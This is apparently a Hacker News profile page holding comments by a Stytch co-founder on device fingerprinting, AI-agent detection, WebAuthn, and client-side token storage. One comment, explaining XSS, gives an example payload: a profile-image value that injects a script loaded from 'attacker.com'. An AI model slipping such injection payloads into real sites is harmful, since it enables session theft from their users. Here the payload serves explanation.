HN user

mcstempel

49 karma
Posts4
Comments29
View on HN

Ah, this is great feedback -- I don't think we do enough to articulate how much we're doing beyond that simplified explanation of device fingerprinting on those docs. I'll get that page updated, but 2 main things worth mentioning:

1. We have a few proprietary fingerprint methods that we don't publicly list (but do share with our customers under NDA), which feed into our ML-based browser detection that assesses those fingerprint data points against the entire historical archives of every browser version that has been released, which allows us to discern subtle deception indicators. Even sophisticated attackers find it difficult to figure out what we're fingerprinting on here, which is one reason we don't publicly document it.

2. For a manual attacker running attacks within a legitimate browser, our Intelligent Rate Limiting (IntRL) tracks and rate-limits at the device level, making it effective against attackers using a real browser on their own machine. Unlike traditional rate limiting that relies on brute traits like IP, IntRL uses the combo of browser, hardware, and network fingerprints to detect repeat offenders—even if they clear cookies or switch networks. This ensures that even human-operated, low-frequency attacks get flagged over time, without blocking legitimate users on shared networks.

CAPTCHAs have been ineffective as a true "bot detection" technique for a while as tools like anti-captcha.com allow for outsourcing it to real humans. BUT they have been successful at the economic side of raising the cost of programmatic traffic on your site (which is good enough for some use cases)

As the author of this agent detection post, we agree that CAPTCHA and vanilla browser/device fingerprinting is quickly not going to be very valuable in isolation, but we still see a lot of value in advanced network/device/browser fingerprinting

The main reason is that the underlying corpus & specificity of browser/device/network data points you get from fingerprinting makes it much easier to build more robust systems on top of it than a binary CAPTCHA challenge. For us, we've found it very useful to still have all of the foundational fingerprinting data as a primitive because it let us build a comprehensive historical database of genuine browser signatures to train our ML models to detect subtle emulations, which can reliably distinguish between authentic browsers and agent-driven imitations

That works really well for the OpenAI/BrowserBase models. Where that gets tricky is the computer-use agents where it's actually putting its hands on your keyboard and driving your real browser. Still though, it's valuable to have the underlying fingerprinting data points because you can still create intelligent rate limits on particular device characteristics and increase the cost of an attack by forcing the actor to buy additional hardware to run it

You read our mind! https://stytch.com/blog/the-age-of-agent-experience/

Very much agreed that's the long-term goal, but I think we'll live in a world where most apps don't support oauth for a while longer (though I'd love for all of them to -- we're actually announcing something next week that makes this easy for any app to do)

But we're also envisioning an interim period where users are delegating to unsanctioned external agents (e.g. OpenAI Operator, Anthropic Computer Use API, etc.) prior to apps catching up and offering proper oauth

LinkedIn always hits me with those frustrating custom CAPTCHAs where you have to rotate the shape 65 degrees -- they've taken a pretty blunt, high-friction approach to bot detection

I think most apps should primarily start with just monitoring for agentic traffic so they can start to better understand the emergent behaviors they're performing (it might tell folks where they actually need real APIs for example), and then go from there

Hey there, I'm the author of the post. I'm actually pretty sympathetic to your viewpoint, and I wanted to clarify my stance.

I actually spent years working at a "good bot" company (Plaid), which focused on making users' financial data portable. The main reason Plaid existed was that banks made it hard for users to permission their data to other apps -- typically not solely out of security concerns, but to also actively limit competition. So, I know how the "bot detection" argument can be weaponized in unideal ways.

That said, I think it’s reasonable for app developers to decide how their services are consumed (there are real cost drivers many have to think about) -- which includes the ability to have monitoring & guardrails in place for riskier traffic. If an app couldn't detect good bots, that app also can't do things like 1) support necessary revocation mechanisms for end users if they want to clawback agent permissions or 2) require human-in-the-loop authorization for sensitive actions. Main thing I care about is that AI agent use remains safe and aligned with user intent. For your example of an anonymous read-only site (e.g. blog), I'm less worried about that than an AI agent with read-write access on behalf of a real human's account.

My idealistic long-term view though is that supporting AI agent use cases will eventually become table stakes. Users will gravitate toward services that let them automate tedious tasks and integrate AI assistants into their workflows. Companies that resist this trend may find themselves at a competitive disadvantage. Ultimately, this has started to happen with banking & OAuth, though pretty slowly.

We built Stytch's B2B SaaS solution with this specific shortcoming in mind -- most other solutions aren't actually built with an organization-first data model (they're user-first like Auth0 but support the general concept of orgs), which makes it difficult to offer those per organization controls in an ergonomic manner.

There's some more info on our multi-tenancy data model here (https://stytch.com/docs/b2b/guides/multi-tenancy), and here's the PUT request you'd use to manage any of those org configurations: https://stytch.com/docs/b2b/api/update-organization

To your point, the market will decide, but I'm hopeful passkeys will ultimately be one of the key solutions here. Already seeing a lot more app adoption (e.g. Shopify, Google, Docusign) than original webauthn given some of the UX problems that brought with it

Co-founder of Stytch (http://stytch.com/) here -- would love to see if you think we're a fit. We have a generous free tier and we're more reasonably priced that tools like Auth0, but not as cheap as tools like Cognito + Firebase auth. If pricing is a concern, would love your feedback on your optimal cost-structure as we have some startup programs and are always looking to make pricing more compelling for early-stage projects.

TL;DR as a dev tools company, we took a lot of inspiration from how Stripe built their product, including their very simple approach to self-serve pricing. However, we found there are some key reasons this approach doesn't translate well to our market and actually led to worse customer outcomes overall.

By removing some of the simplicity in our pricing model, we were able to reduce costs for 90% of our pay-as-you-go customer base.

this worked for a little bit longer, but he proceeded to get on a VPN, and then another when i blocked that IP, then another when i blocked that IP, etc, etc.

Beyond VPNs, I've even seen attackers leverage residential IP networks which makes VPN detection ineffective as well [1]. If you ever need a more permanent identifier to ban users on, consider using a device/browser fingerprinting tool [2]. It helps avoid the whack-a-mole issue of more sophisticated attackers churning IPs/emails/user agents/etc.

[1] https://brightdata.com/proxy-types/residential-proxies [2] https://stytch.com/products/device-fingerprinting (I'm admittedly biased towards our solution as I work at Stytch)

Also, a tip for anyone that feels like the low hanging fruit prevention methods aren't working (e.g. CAPTCHA, rate limits, etc.)

Consider installing a device fingerprinting system -- this has be the single most effective solution we've seen our customers integrate for more sophisticated bot problems: https://stytch.com/docs/fraud#device-fingerprinting. I'd recommend against the off-the-shelf solutions (e.g. open source ones) because many of them are easily reverse engineered, so they work well for low-level threats but not for persistent ones. In addition to our solution, Arkose and Fingerprint Pro are a couple ones I'm aware of

I find it particularly frustrating that they force you to upgrade to Verify to solve the problem unless you want to build out a lot of your own internal risk detection (which we ended up doing instead)

With the rise of AI APIs, I expect we'll see similar attack vectors for apps that integrate APIs from OpenAI or Stability. There won't be a colluding telecomm, but the API output (a completed task) is relatively fungible and far more valuable in itself than a SMS API response. Something to keep in mind if you're building an AI application: https://stytch.com/blog/securing-ai-against-bot-attacks/

As usual - it depends.

There have been two main problems with WebAuthn as a primary factor. The first is that the UX experience of WebAuthn as a primary factor - either for "passwordless" or "usernameless" scenarios - has been pretty rough. The WebAuthn W3C group has put together a document that goes into far more detail [1]. One of the items out of that discussion was a standards change [2] that was merged in a few months ago. Now it's up to browser vendors to implement that change over the coming months and years.

The second problem with WebAuthn is that device based authentication has been historically risky for consumer users long-term. It's unreasonable to expect an individual to have access to their phone, yubikey, or laptop over a period of years. In the B2B space, this isn't as big of a deal. Getting an IT admin that works for your company to reset your access and issue a new credential is not a complex problem. Not so in the B2C space. Devices get lost or stolen, and then the service operator needs to build out an alternative recovery method that needs to be as secure as WebAuthn (ideally, without infringing on the user's privacy via KYC methods). New developments like Apple's PassKeys are super interesting and have the potential to really be a game changer for B2C WebAuthn adoption.

In summary, WebAuthn probably can't replace the password for your application today, unless your users are tech savvy and OK with the lock-out risk. However, the space going through some exciting changes and it may be much more feasible in a few years!

[1] https://github.com/w3c/webauthn/wiki/Explainer:-WebAuthn-Con... [2] https://github.com/w3c/webauthn/pull/1576

No problem – I’m happy to engage in good-faith discussions like this one when there are valid nuances to explore.

One callout I’d like to make is that there are two kinds of SDKs. Client-side ones (like Javascript SDKs) and Server-side ones (NodeJS, Go, Python, etc.). The server-side ones are capable of setting HttpOnly cookies, because the server-side ones run on the server and not in a browser context. This is true for both Auth0 and Stytch, and someone using any of the Stytch server-side SDKs will have HttpOnly protection.

Client-side only SDKs are never capable of setting first-party HttpOnly cookies without the aid of a proxy. In fact, there is no truly secure storage mechanism addressable by clientside javascript. All writable storage is accessible to all javascript loaded in the domain - that is to say that if at any point the Auth0 SDK has access to a token, any XSS attack running in the same document will also have access.

Auth0 has numerous clientside SDKs, but we’ll look at their most popular one - @auth0/auth0-spa-js. This SDK stores refresh tokens in a cache [1] in a few ways:

- By default, in memory, which makes exfiltration harder but still very possible via client-side JS. Wrapping a token in a closure doesn’t mean it isn’t addressable - a hacker can monkeypatch and listen to window.fetch for example. This also means that login state is not preserved across tabs or page refreshes, which is quite frankly extremely frustrating to both developers and users

- Auth0 also supports an iframe based flow, which breaks on browsers that use ITP2 such as Safari [2] - so 20% of all users on desktop and 25% of all users on mobile.

- Finally, for customers who do not want the above restrictions, Auth0 allows localstorage [3] to be configured as a cache storage. Local storage is just as open to XSS exfiltration as non-HTTPOnly cookies.

So while yes, Auth0 does not set cookies, their refresh tokens are still accessible client-side in many common deployment scenarios, and are still vulnerable to the same XSS exfiltration vulnerability that HTTPOnly cookies protect against.

Overall, the main reason that Google’s security team, Auth0’s security team, and our security team are comfortable with offering a non-HTTPOnly session management solution in a JS SDK comes down to:

1. HTTPOnly as a security layer can help prevent exfiltration, but if an app already has an XSS vector, it’s already severely compromised, making such a layer moot.

2. As an auth company (whether you’re Stytch vs. Auth0 vs. Google Firebase), you need to make a decision on how much flexibility you want to offer developers. Our stance is that when additional flexibility and an improved developer experience do not create any practical security risk, we should provide that better developer experience to our customers.

[1] https://github.com/auth0/auth0-spa-js/blob/0de9c6bf61d37fc21...

[2] https://community.auth0.com/t/silent-authorization-not-worki...

[3] https://github.com/auth0/auth0-spa-js/blob/0de9c6bf61d37fc21...

Yes, Firebase also stores refresh tokens client-side [1]. The trade-off that both Firebase and Stytch are managing when we follow this pattern is the following:

- You can provide a significantly better developer experience and set-up with this architecture. While there are designs that allow 3rd party APIs like ours to set HTTPOnly cookies by proxying the 3rd party APIs as subdomains, this creates new burdens on the developer for minimal gain considering that a XSS attack vector indicates a severe compromise of the application.

- Today, customers that feel strongly about using HTTPOnly session management will opt for a direct integration with our API using one of our back-end client libraries rather than our JS SDK. While we have interest in providing a HTTPOnly solution in the future to interested customers, we’ve decided the default behavior of the existing SDK is better suited for most developers.

[1] https://github.com/firebase/firebase-js-sdk/blob/0b3ca78eb97...

Happy to dive into that. For those unfamiliar, XSS attacks are a type of vulnerability where an attacker tricks a website into running the attacker’s code on an end user’s browser. For example, an attacker might set their profile picture URL to be `”/img><script src=”attacker.com/payload.js” />`, which if not properly sanitized would trigger the script to fire when inserted into the DOM. Credential exfiltration is the process of abusing an existing XSS vector to collect user sessions for later use. HTTPOnly cookies are an additional layer of security that can prevent exfiltration by preventing client-side JS from accessing the user session token. However, if the application has an XSS vector, the application is already severely compromised.

The approach our SDK takes (using client-side JS to write to storage) does not offer HTTPOnly protection. This pattern mirrors the approach taken by Firebase, which stores access tokens in local storage. In order to mitigate XSS impact, we have a few mechanisms available. The session JWT itself is only valid for 5 minutes (there is also a longer-lived opaque token, which is valid for longer and is rotated on its own cadence). We’re also introducing support for risk-based controls such as device fingerprinting.

That being said, there are designs that allow 3rd party APIs like ours to set HTTPOnly cookies, by proxying the 3rd party APIs as subdomains. In the future, we'll likely also offer a HTTPOnly session management offering in the SDK to interested customers.

A final note - for integrations with backend-as-a-service that require passing the JWT in a header (hasura [1], mongo atlas [2]), it's impossible to keep the JWT httponly. You can have multiple audiences but the JWT must be exposed to application code in order for the application code to send it somewhere else.

[1] https://hasura.io/docs/latest/auth/authentication/jwt/#heade... [2] https://www.mongodb.com/docs/realm/web/authenticate/#custom-...

I’m the founder/CEO at Stytch, and the amount of misinformation and direct falsehoods in this post are pretty jarring. I’m surprised this has gotten any traction on HN, but I’m happy to go point-by-point:

- OP claims we do not have a bug bounty program. We do have a private bug bounty program. We also triage all reports that are sent to security@stytch.com. In addition to this, we have an in-house security engineering team and work with an external firm.

- OP claims we do not have a responsible disclosure program. We do [1]

- On the point about CSRF, OP is correct that login CSRF scenarios are common with magic link products. For the uninitiated, Login CSRF is a vulnerability where an attacker gets a victim to log into an account controlled by the attacker, instead of their own. For example, an attacker could forward a magic link email to a victim, who clicks it unknowingly and ends up logged into the attacker’s account. Stytch adapted PKCE [2] to magic links so that applications have cryptographic proof that the device clicking on the magic link is the same device that originally requested the magic link. Our PKCE design was audited by our external security consultant. PKCE - as well as other more contemporary cookie-based CSRF measures - are not effective on mobile applications due to heavy use of webviews. Often, there is no guarantee that the browser on the device (perhaps an embedded webview within an application) that requests the magic link is the same browser that is opened by the email client when the magic link is received. For mobile-centric customers with workloads that are sensitive to login CSRF, we recommend pairing magic links with one of our second factor products such as SMS OTP, TOTP, or WebAuthn.

- On their point about OTP tokens, it’s unclear if they’re talking about our magic link product or our actual one-time passcode products. In either case, the author is incorrect. Each product behaves slightly differently. For email/SMS/whatsapp one-time passcodes, these tokens expire both a) after first-time use and b) if the developer initiates a new one. For magic links, the token is invalidated once it is consumed or when it expires (whichever comes first). Their description of default behavior is also misleading. For example, while a sign-up magic link defaults to 1 week expiration (and can be configured lower) due to common email confirmation flows at sign-up, a login magic link has a lower default expiration at 1 hour. For OTP codes, the default code expires in 2 minutes and the longest it can be valid for is 10 minutes (this distinction is by design as there’s less entropy with a 6-digit code than a magic link token)

[1] https://stytch.com/docs/#security_overview [2] https://stytch.com/docs/magic-links#email-magic-links_adding...

Here's a bit more background on WebAuthn: https://stytch.com/blog/an-introduction-to-webauthn/

What makes it unphishable is that the authentication is not based upon something that a user can be deceived into sharing with an attacker. Passwords and one-time passcodes (OTPs) can both be remotely acquired from users when attackers convince users to share these text-based verifications with them.

Because WebAuthn validates possession of a primary device that was previously enrolled (either the computer/phone the user is leveraging for the biometric check or the user's YubiKey), it's device-bound and cannot be phished.

100%. The common thread in all of these recent attacks (Uber, Twilio, Okta, etc) is the “phishability” of the authentication methods involved -- as you mention, the unphishability of WebAuthn is what makes it particularly compelling.

What’s head-scratching to me is why tech-forward enterprises haven’t been faster to adopt unphishable forms of authentication like WebAuthn. I’m biased as I run an identity and access management company (stytch.com), but I hope more companies will consider integrating WebAuthn to support unphishable MFA.

Today, WebAuthn introduces some nuances that can discourage a B2C company from supporting it today (e.g. account recovery with lost devices), but it’s a clear win for corporate network/workplace authentication and B2B apps. I believe some of the lack of adoption is due to complexity to build (more complex than traditional MFA) and cost for off-the-shelf solutions (Incumbents like Auth0/Okta require ~$30k annual commitments to let developers use WebAuthn). If developers decide to build with Stytch, WebAuthn is included in our pay-as-you-go plan and can be integrated in an afternoon(https://stytch.com/products/webauthn)

The common thread in all of these recent attacks (Uber, Twilio, Okta, etc) is the “phishability” of the authentication methods involved. Remote attacks like this only work when you can socially engineer an employee and phish sensitive credentials like a password from them (or a SMS one-time passcode during the MFA step).

What’s head-scratching to me is why tech-forward enterprises haven’t been faster to adopt unphishable forms of authentication like WebAuthn. WebAuthn supports both built-in device biometrics like FaceID/TouchID and external hardware keys (eg YubiKey), which are inherently incapable of being phished — there’s no text-based secret for an attacker to deceive a user into sharing with them.

I’m biased as I run an identity and access management company (stytch.com), but I hope more companies will consider integrating WebAuthn to support unphishable MFA.

Today, WebAuthn introduces some nuances that can discourage a B2C company from supporting it today (e.g. account recovery with lost devices), but it’s a clear win for corporate network/workplace authentication and B2B apps. I believe some of the lack of adoption is due to complexity to build (more complex than traditional MFA) and cost for off-the-shelf solutions (Incumbents like Auth0/Okta require ~$30k annual commitments to let developers use WebAuthn). If you decide to build with Stytch, WebAuthn is included in our pay-as-you-go plan (https://stytch.com/products/webauthn)